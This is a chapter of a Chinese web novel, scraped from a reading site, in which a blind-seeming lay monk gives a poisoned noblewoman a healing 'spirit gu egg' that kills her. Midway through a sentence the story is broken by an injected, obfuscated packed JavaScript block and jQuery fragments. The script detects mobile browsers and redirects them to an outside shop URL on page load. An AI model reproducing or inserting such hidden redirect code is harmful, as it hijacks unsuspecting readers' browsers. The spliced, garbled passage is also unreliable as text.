默认冷灰
24号文字
方正启体

9. 灵蛊之卵

作者:濮疏白本书字数:K更新时间:
    第9章


    灰发的俗僧依旧闭着眼,“看”向突然袭击自己的黑衣少年。


    无妄用力地拧着他那双锋利的浓眉,视线死死钉在沉玉魄的脸上:“你很厉害,连眼睛都没睁开,就已经知道我的下一戟会刺在哪里,用一串佛珠,就逼迫我不得不改变攻击的轨迹。”


    他的眼神像是刀,刻着对面那人柔美面容上的每一寸痕迹,琥珀色的眼瞳中仿佛翻涌着阵阵月下的潮汐,碎金般的光点起落不定:“你为什么不睁开眼睛?”


    沉玉魄睫毛轻轻颤动,说道:“阿弥陀佛,小僧习惯了以心眼观世,睁眼与闭眼,对小僧而言没什么区别。”


    “那你应该睁眼看我。”无妄瞧得出沉玉魄耍那串念珠的功夫不弱,由此可见他拳掌上的武艺定然也是顶尖。


    若是近身,自己与这灰发怪人的胜负恐怕在四六之间,但拳掌施展的距离终究有限。


    无妄看着对面那人的脸,看着紧闭的双眼,想叫他睁开那双眼给自己好好瞧瞧的念头填满了脑子,浑身战意沸腾着,将握戟的手往下滑了几寸,双脚用力稳抓地面,但他并没有立刻继续发动攻击,而是越过沉玉魄先看了一眼他身后的老板娘。


    而宫烟珞也终于支撑不住了,她两眼发黑,呼吸也越来越困难,踉跄着后退一步,靠着床边缓缓下滑,委顿在地。


    她快死了。


    无妄第一次体会到踌躇是什么滋味。


    沉玉魄此时却道:“我们没有必须相杀的理由,小僧不愿意与你动手,你也并非真的想要我的命,何不停手呢?”


    他还是闭着眼睛,即使无妄毫不掩饰的眼神已经快要把他的面皮刮了一个遍了,但沉玉魄依旧像什么都没有感觉到一样。


    无妄将长戟一收:“我要带走她。”


    “她中了毒,最好还是不要随意挪动。”


    “不是你打的?”


    “不是。”沉玉魄侧身,让开到一旁,“你可以自己来检查一下,她到底是中毒,还是被我所伤。”


    无妄提着长戟上前,他背对着沉玉魄,蹲在宫烟珞身前,观察她的脸色。


    面对他毫无防备的后背,沉玉魄轻甩念珠,双掌再度合十,只是他口中散出的不是佛号,而是一声叹息。


    宫烟珞已经变得昏暗的视野里,突然出现一双灿亮的眼睛,暖色的眼却露着冰冷的评估之色,她知道这双眼睛的主人在评估什么。


    他只是想确认一下自己还能活多久。


    “咳......”宫烟珞双唇一张,嘴角处又有污血流出,“我活不了了......”


    “你得别那么快死,我得把你活着带给大叔,他想要的是活着的你。”无妄看她的眼神不像看一个将死之人,而像是在看一个难处理的麻烦。


    “没有......找到,灵蛊之卵,我,要如何活?”宫烟珞用尽身上所有的力气抬起头,她的目光刺向沉玉魄,和她已经完全衰败的身躯不同,她的瞳孔仍然散发着惊人的活力。


    灵蛊之卵。


    宫烟珞此时此刻唯一的执念之物。


    “那是什么?”无妄看看眼神凶狠的宫烟珞,又扭头去看怎么也不肯睁眼的沉玉魄,“你有她要的东西?”


    “是的,我有。”沉玉魄走上前来,学着无妄的样子蹲在二人旁边,他蹙着眉,犹豫片刻后还是摊开了手,掌心不知何时多出来一枚碧绿色的,麦粒一样的晶体。


    宫烟珞瞬间扑了上来,抢走他掌心的晶体,口鼻处不断涌现的黑血落在沉玉魄的白衣上,污了僧者衣上金线绣的佛经。


    而沉玉魄并不在意,只是趁着这一瞬间的交错,从宫烟珞手中换回了木盒里的银花,放进怀中。


    “哈啊......”宫烟珞捧着灵蛊之卵,晶体微微发着荧光,她手指上细小的伤口迅速被治愈,她感觉到一种前所未有的欣喜和宁静,一股暖流正在修复着她衰老病残的身躯,甚至能清晰地感知到力气丝丝缕缕地回来了。


    “我能活了!”


    “我能活着,继续走下去,走进雾的深处,瞧瞧那里面到底有什么!”她热泪盈眶,声音哽咽,无比深情地抚摸捧在掌中的晶体,“到底是什么让我失去所有,到底是什么......困囚住我如此之久的......唔......”


    一股腥甜猛地冲上喉头。


    一口比先前都更厚更浓的黑血喷出。


    “......岁月......”


    她的身子彻底软了,和那个被毒死的跑堂一样。


    绵绵地向前倒去。


    她死在自以为愿望可以达成的那一刻。


    沉玉魄伸手接住宫烟珞的尸身。


    这猝不及防的死亡让无妄警惕地起身,横起长戟:“你杀了她?”


    “不是我。”


    “可她拿了你给她的东西之后就死了,她不该死在这里。”无妄的眉毛简直拧得快要彻底解不开了,“有个很重要的人等着我把她带回去......你必须和我一起走。”


    “阿弥陀佛,放心吧,我会和你一起走,帮你向你的那位大叔解释,她的死完全是人力不可挽回的,而非你迟来或是救治不及时的缘故。”沉玉魄语气温柔,带着些许不易察觉的伤感。


    被他安慰了,无妄却觉得很不舒服:“现在我能感觉到被人戳破心里的想法的确很讨厌了。”


    “所以你讨厌我吗?”沉玉魄把尸体轻轻地,稳稳地抱着,站起来。


    无妄诚实道:“现在有点。”


    沉玉魄微笑道:“那你一开始见我的时候,还挺喜欢我对吗?”


    无妄不肯回答了,只是将攥着戟杆的手紧了又紧:“她说找到灵蛊之卵就能活,为什么还是死了?”


    “是她以为自己可以靠着灵蛊之卵活下去,但其实......”沉玉魄低头看向怀中还残余狂喜之态的衰老脸孔,其实不该说是看,因为他依旧闭着双眼。


    可无妄突然觉得他好像真的能看见一样。


    “灵蛊之卵虽然能治愈人的内外伤势,但对毒物或是疾病并无作用,而且与其说是它治愈伤势,不如说它会刺激人体,耗费使用者的内力和生命力加快伤势愈合。”


    他虽是留着一头长发,又满身精细的富贵气,怀里抱着死人,身上沾着黑红的血迹,然而他耐心向无妄解释的模样却像极了讲经的佛陀:“她守在此地多年,未能坚持习武,本就气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449430|201127||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    血衰败,又身中剧毒,故而灵蛊之兰对她来说,并非救命良药,而是一道催命符。”


    “那你还把蛊给她?”无妄没好声地问。


    沉玉魄却说:“她小时候脾气就很倔,但凡认准一件事情,十头牛都拉不回来,我虽与她多年未见,亦能瞧出她的倔强,纵使过去那么多年,从来没变过。”


    “与其叫她至死都怀抱着无解的执着,不如让她开开心心地离开。”


    “我不明白,你应该是个僧人吧,僧人不该劝人放下执着么?”


    “我信佛,但是没能出家,岚国内外没有一家寺庙愿意为我剃度,所以,小僧虽修佛多年,却依旧是这红尘中的羁旅者呀。”


    城中的雾气依旧很浓。


    他们二人并肩行走着,一个能在雾中辨认方向,另一个紧闭双眼无需看路,倒别有一番和谐意味。


    出了侯府,长街上还是很安静,那些曾经伴随这座城池一起消失的商旅与居民都没有回来,但有人曾在这儿生活过的痕迹却随着时间推移愈发明显,变得密集起来。


    “嗯?”无妄突然转头,看向某个方向。


    “怎么?”


    无妄缓缓摇头:“没什么,快走吧。”


    他说完,自己就抢先迈开了步子,走出几步之后发现沉玉魄还是不紧不慢地走着,于是又不太耐烦地跑回来,拽着他一起小跑起来。


    灰发青年任他拉拽自己,抱尸体的手还是很稳,没让这位故交在死后还要继续受更多的苦。


    从无妄自顾自地离开,到他拽着个熟悉的人回来,其实并没有过去太久的时间,乌啼身上的血迹都还没完全干涸凝固。


    “你这小子!”路迢遥已经有很久没有体会到过这种为旁人提心吊胆的心情了,他看见无妄从浓雾里冲出来,立时迎上去,却又在看见跟着无妄小跑而来的那个人时止住脚步。


    他几乎是本能地狠狠攥了下刀柄:“......盈缺?”


    沉玉魄转头“看”他:“路叔。”


    跑在最前,此刻位于二人中间的无妄恍然:“原来你们认识。”


    他松开拽着沉玉魄的手,又道:“那就太好了,没能出家的人,你把后面发生的事情给大叔解释一下,我还有点别的事情要做,很快回来。”


    说完,没给任何人反应的机会,像是身后有什么东西撵着一样,无妄逃也似的又一头扎进浓雾里了。


    “嘶——”路迢遥只得任他去。


    刀客抿了抿嘴唇:“盈缺,你来得很快。”


    沉玉魄先将尸体放了下来,道:“从密道进来的,少走不少弯路。”


    路迢遥忍住抬手去挠自己的头这个不够“长辈”的动作,酝酿好了一些话,才转身看向沉玉魄。


    “他很怕你责怪他没能救下烟珞郡主。”白衣染血,气质恬淡的青年早已睁开双眼,自无妄离开后就一直看着路迢遥。


    他按住衣襟,是暂放银花的那个位置,接近心口,“路叔,好久不见,您也是一点都没有变啊。”


    路迢遥的视线猝不及防撞进一片璀璨的艳色,那自某一年后再未得见的明丽之色让他不禁目眩神迷,心潮涌起经年不绝的哀哀悲鸣。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)